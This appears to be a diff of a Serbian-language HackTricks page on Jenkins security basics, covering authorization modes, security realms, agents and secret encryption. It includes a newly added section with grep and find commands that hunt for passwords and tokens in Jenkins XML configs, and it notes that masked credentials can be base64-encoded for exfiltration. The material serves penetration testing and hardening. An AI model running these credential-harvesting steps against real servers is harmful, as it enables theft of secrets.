||||
|
||||
### SSO/Pluginovi
|
||||
### SSO/Plugins
|
||||
|
||||
Jenkins se može konfigurisati pomoću pluginova da bude **dostupan putem treće strane SSO**.
|
||||
Jenkins se može konfigurisati pomoću pluginova da bude **dostupan putem SSO treće strane**.
|
||||
|
||||
### Tokeni
|
||||
|
||||
**Korisnici mogu generisati tokene** kako bi omogućili pristup aplikacijama da ih imituju putem CLI ili REST API.
|
||||
**Korisnici mogu generisati tokene** da bi aplikacijama dali pristup i omogućili im da se predstavljaju kao oni preko CLI ili REST API-ja.
|
||||
|
||||
### SSH Ključevi
|
||||
### SSH Keys
|
||||
|
||||
Ova komponenta pruža ugrađeni SSH server za Jenkins. To je alternativno sučelje za [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a komande se mogu pozivati na ovaj način koristeći bilo koji SSH klijent. (Iz [dokumentacije](https://plugins.jenkins.io/sshd/))
|
||||
Ova komponenta obezbeđuje ugrađeni SSH server za Jenkins. To je alternativni interfejs za [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), i komande se mogu pokretati na ovaj način koristeći bilo koji SSH klijent. (Iz [docs](https://plugins.jenkins.io/sshd/))
|
||||
|
||||
## Autorizacija
|
||||
|
||||
U `/configureSecurity` moguće je **konfigurisati metodu autorizacije Jenkins-a**. Postoji nekoliko opcija:
|
||||
U `/configureSecurity` moguće je **konfigurisati metod autorizacije za Jenkins**. Postoji nekoliko opcija:
|
||||
|
||||
- **Svako može raditi šta hoće**: Čak i anonimni pristup može administrirati server.
|
||||
- **Legacy mode**: Isto kao Jenkins <1.164. Ako imate **"admin" ulogu**, dobićete **potpunu kontrolu** nad sistemom, a **inače** (uključujući **anonimne** korisnike) imaćete **pristup za čitanje**.
|
||||
- **Prijavljeni korisnici mogu raditi šta hoće**: U ovom režimu, svaki **prijavljeni korisnik dobija potpunu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati potpunu kontrolu je **anonimni korisnik**, koji dobija samo **pristup za čitanje**.
|
||||
- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimno**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovane**', koji predstavljaju **sve autentifikovane korisnike**.
|
||||
- **Anyone can do anything**: Čak i anonimni pristup može administrisati server
|
||||
- **Legacy mode**: Isto kao u Jenkins <1.164. Ako imate **"admin" role**, dobićete **punu kontrolu** nad sistemom, a **u suprotnom** (uključujući **'anonymous'** korisnike) imaćete **pristup samo za čitanje**.
|
||||
- **Logged-in users can do anything**: U ovom režimu, svaki **ulogovani korisnik dobija punu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati punu kontrolu je **anonymous user**, koji dobija samo **read access**.
|
||||
- **Matrix-based security**: Možete konfigurisati **ko šta može da radi** u tabeli. Svaka **kolona** predstavlja **permisiju**. Svaki **red** **predstavlja** **korisnika ili grupu/rolu.** Ovo uključuje specijalnog korisnika '**anonymous**', koji predstavlja **neautentifikovane korisnike**, kao i '**authenticated**', koji predstavlja **sve autentifikovane korisnike**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Strategija autorizacije zasnovana na projektima:** Ovaj režim je **proširenje** na "**Matrix-based security**" koje omogućava dodatnu ACL matricu da bude **definisana za svaki projekat posebno.**
|
||||
- **Strategija zasnovana na rolama:** Omogućava definisanje autorizacija koristeći **strategiju zasnovanu na rolama**. Upravljajte rolama u `/role-strategy`.
|
||||
- **Project-based Matrix Authorization Strategy:** Ovaj režim je **proširenje** za "**Matrix-based security**" koje omogućava dodatne ACL matrice da budu **definisane za svaki projekat posebno.**
|
||||
- **Role-Based Strategy:** Omogućava definisanje autorizacija koristeći **role-based strategy**. Upravljajte rolama u `/role-strategy`.
|
||||
|
||||
## **Sigurnosno carstvo**
|
||||
## **Security Realm**
|
||||
|
||||
U `/configureSecurity` moguće je **konfigurisati sigurnosno carstvo.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih carstava:
|
||||
U `/configureSecurity` moguće je **konfigurisati security realm.** Po podrazumevanoj vrednosti Jenkins uključuje podršku za nekoliko različitih Security Realms:
|
||||
|
||||
- **Delegirati servlet kontejneru**: Za **delegiranje autentifikacije servlet kontejneru koji pokreće Jenkins kontroler**, kao što je [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkinsova vlastita baza korisnika:** Koristite **Jenkinsovu ugrađenu bazu podataka korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je omogućeno po defaultu.
|
||||
- **LDAP**: Delegirati svu autentifikaciju na konfigurisan LDAP server, uključujući i korisnike i grupe.
|
||||
- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS nivo bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju.
|
||||
- **Delegate to servlet container**: Za delegiranje autentifikacije na servlet container koji pokreće Jenkins controller, kao što je [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Jenkins’ own user database:** Koristite **ugrađenu Jenkins bazu korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je podrazumevano omogućeno.
|
||||
- **LDAP**: Delegirajte svu autentifikaciju na konfigurisan LDAP server, uključujući korisnike i grupe.
|
||||
- **Unix user/group database**: **Delegira autentifikaciju na osnovnu Unix** OS-nivo korisničku bazu na Jenkins controlleru. Ovaj režim takođe omogućava ponovnu upotrebu Unix grupa za autorizaciju.
|
||||
|
||||
Pluginovi mogu pružiti dodatna sigurnosna carstva koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su:
|
||||
Pluginovi mogu obezbediti dodatne security realme koji mogu biti korisni za integraciju Jenkins-a u postojeće identity sisteme, na primer:
|
||||
|
||||
- [Active Directory](https://plugins.jenkins.io/active-directory)
|
||||
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
|
||||
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
|
||||
|
||||
## Jenkins Čvorovi, Agenti i Izvršioci
|
||||
## Jenkins Nodes, Agents & Executors
|
||||
|
||||
Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
Definicije iz [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Čvorovi** su **mašine** na kojima se izvršavaju **agenti za izgradnju**. Jenkins prati svaki priključeni čvor za slobodan prostor na disku, slobodan temp prostor, slobodan swap, vreme/sinkronizaciju sata i vreme odgovora. Čvor se uzima offline ako bilo koja od ovih vrednosti pređe konfigurisani prag.
|
||||
**Nodes** su **mašine** na kojima rade build **agenti**. Jenkins nadgleda svaki priključeni node za prostor na disku, slobodan temp prostor, slobodan swap, sinhronizaciju sata i vreme odziva. Node se uklanja iz rada ako bilo koja od ovih vrednosti pređe konfigurisan prag.
|
||||
|
||||
**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru na kojem agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini.
|
||||
**Agents** **upravljaju** **izvršavanjem zadataka** u ime Jenkins controller-a koristeći **executors**. Agent može koristiti bilo koji operativni sistem koji podržava Java. Alati potrebni za build i testove instaliraju se na node gde agent radi; mogu **biti instalirani direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je efektivno proces sa sopstvenim PID-om** na host mašini.
|
||||
|
||||
**Izvršilac** je **slot za izvršenje zadataka**; zapravo, to je **nit u agentu**. **Broj izvršilaca** na čvoru definiše broj **paralelnih zadataka** koji se mogu izvršiti na tom čvoru u jednom trenutku. Drugim rečima, ovo određuje **broj paralelnih Pipeline `stages`** koji mogu izvršiti na tom čvoru u jednom trenutku.
|
||||
Executor je **slot za izvršavanje zadataka**; efektivno, to je **thread u agentu**. **Broj executora** na node-u definiše broj **konkurentnih zadataka** koji se mogu izvršavati na tom node-u u istom trenutku. Drugim rečima, ovo određuje **broj konkurentnih Pipeline `stages`** koji mogu biti izvršeni na tom node-u u isto vreme.
|
||||
|
||||
## Jenkins Tajne
|
||||
## Jenkins tajne
|
||||
|
||||
### Enkripcija Tajni i Akreditiva
|
||||
### Enkripcija tajni i kredencijala
|
||||
|
||||
Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenje odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju" u kriptožargonu) je **pohranjen \_nekriptovano\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API-ja za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju:
|
||||
Definicija iz [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za šifrovanje i zaštitu tajni**, kredencijala i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi enkripcije se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa master ključem koji štiti pomenute ključeve. Ovaj direktorijum bi trebalo podesiti tako da samo operativni sistem korisnik pod kojim Jenkins controller radi ima pravo čitanja i pisanja (npr. `chmod` vrednost `0700` ili odgovarajuće atributi fajla). **Master key** (ponekad nazivan "key encryption key") je **sačuvan _nešifrovan_** na filesystemu Jenkins controller-a u **`$JENKINS_HOME/secrets/master.key`**, što ne štiti od napadača sa direktnim pristupom tom fajlu. Većina korisnika i developera će koristiti ove ključeve indirektno preko [Secret](https://javadoc.jenkins.io/byShortName/Secret) API-ja za šifrovanje generičkih tajnih podataka ili kroz credentials API. Za zainteresovane za kripto: Jenkins koristi AES u cipher block chaining (CBC) modu sa PKCS#5 padding-om i nasumičnim IV-ovima za enkriptovanje instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se skladište u `$JENKINS_HOME/secrets/` sa imenom fajla koje odgovara njihovom `CryptoConfidentialKey` id-u. Uobičajeni id-evi ključeva uključuju:
|
||||
|
||||
- `hudson.util.Secret`: korišćen za generičke tajne;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: korišćen za neke tipove akreditiva;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
|
||||
- `hudson.util.Secret`: koristi se za generičke tajne;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: koristi se za neke tipove kredencijala;
|
||||
- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i
|
||||
|
||||
### Pristup Akreditivima
|
||||
### Pristup kredencijalima
|
||||
|
||||
Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **specifične projekte** (`/job/<project-name>/configure`) i stoga dostupni samo iz specifičnog projekta.
|
||||
Kredencijali mogu biti **scope-ovani na global providers** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **konkretne projekte** (`/job/<project-name>/configure`) i stoga dostupni samo iz tog projekta.
|
||||
|
||||
Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** od redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima.
|
||||
Prema [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredencijali koji su u opsegu se čine dostupnim pipeline-u bez ograničenja. Da bi se **spriječilo slučajno izlaganje u build log-u**, kredencijali se **maskiraju** iz regularnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji ispisuju svoje environment promenljive ili parametre **neće otkriti kredencijale u build log-u** korisnicima koji inače nemaju pristup tim kredencijalima.
|
||||
|
||||
**Zato napadač treba, na primer, da ih base64 kodira da bi ih eksfiltrirao.**
|
||||
**Zbog toga, da bi napadač izveo eksfiltraciju kredencijala, mora, na primer, da ih base64-uje.**
|
||||
|
||||
### Tajne u plugin/job konfiguracijama na disku
|
||||
|
||||
Ne pretpostavljajte da su tajne samo u `credentials.xml`. Mnogi pluginovi čuvaju tajne u svojim **sopstvenim globalnim XML** pod `$JENKINS_HOME/*.xml` ili u per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, ponekad čak i u plain textu (maskiranje u UI ne garantuje šifrovano skladištenje). Ako dobijete read pristup fajl sistemu, enumerišite te XML-ove i pretražite očigledne tagove koji sadrže tajne.
|
||||
```bash
|
||||
# Global plugin configs
|
||||
ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
@@ -90,5 +101,6 @@ Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-mas
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user